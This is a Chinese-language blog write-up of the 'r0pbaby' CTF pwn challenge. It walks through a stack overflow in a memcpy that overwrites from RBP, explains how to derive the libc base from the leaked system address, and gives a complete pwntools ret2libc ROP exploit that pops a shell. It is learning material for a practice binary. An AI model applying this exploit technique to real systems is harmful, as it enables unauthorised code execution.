个人博客地址
http://www.darkerbox.com
欢迎大家学习交流
题目:
https://github.com/ctf-wiki/ctf-challenges
分析
先拖到ida分析。顺序大概运行程序看看。
ida图片就不截图了太长了。
分析了一下,程序有三个功能
- 第一个功能是获取libc的地址。
- 第二个功能是获取函数的地址
- 第三个功能可以输入一些东西。
漏洞就出在第三个功能上,先看看关键汇编代码
memcpy(&savedregs, nptr, v6);
nptr中存放着就是我们输入的字符串。v6是大小。至于savedregs
,是ida的一个关键字,双击进入,发现savedregs
就是RBP。太直接了。直接将我们输入的字符从RBP开始覆盖。那么偏移就是8个字节,因为是64为程序
利用
整理思路:
- 程序给了很大的方便,这里要注意一下。第一个选项给的不是libc的地址,而是libc的地址的地址。libc基地址需要我们手动找
- 第二个选项可以知道system的地址,确定libc后,找到system在libc的偏移。可获得libc的真实地址。
- 在libc中找/bin/sh和pop rdi的地址。就可以直接调用了。
目前我们已知system的地址。找libc的基地址,先确定liibc。是libc.so.6。
确定libc后,就已经得到了libc的基地址。system的地址减去system在libc中的偏移。
获取/bin/sh的偏移和pop rdi的偏移
地址获取完后编写EXP
Exploit
from pwn import *
p = process("./r0pbaby")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")
def get_funcaddr(func):
p.recvuntil(": ")
p.sendline("2")
p.recvuntil(": ")
p.sendline(func)
p.recvuntil(": ")
return p.recvuntil("\n",drop="true")
system_addr = int(get_funcaddr("system"),16)
libc_base = system_addr - libc.symbols['system']
pop_rdi = 0x000000000002658e
pop_rdi = libc_base+pop_rdi
sh_addr = libc.search("/bin/sh").next()
sh_addr = libc_base+sh_addr
log.success("/bin/sh==="+hex(sh_addr))
log.success("system==="+hex(system_addr))
log.success("libc==="+str(hex(libc_base)))
log.success("pop_rdi==="+str(hex(pop_rdi)))
#gdb.attach(p)
p.recvuntil(": ")
p.sendline("3")
p.recvuntil(": ")
payload = "a"*8 + p64(pop_rdi) + p64(sh_addr) + p64(system_addr)
length = str(len(payload))
p.sendline(length)
p.sendline(payload)
#gdb.attach(p)
#print p.recv(1024)
p.interactive()
欢迎一起学习交流,共同进步,欢迎加入信息安全小白群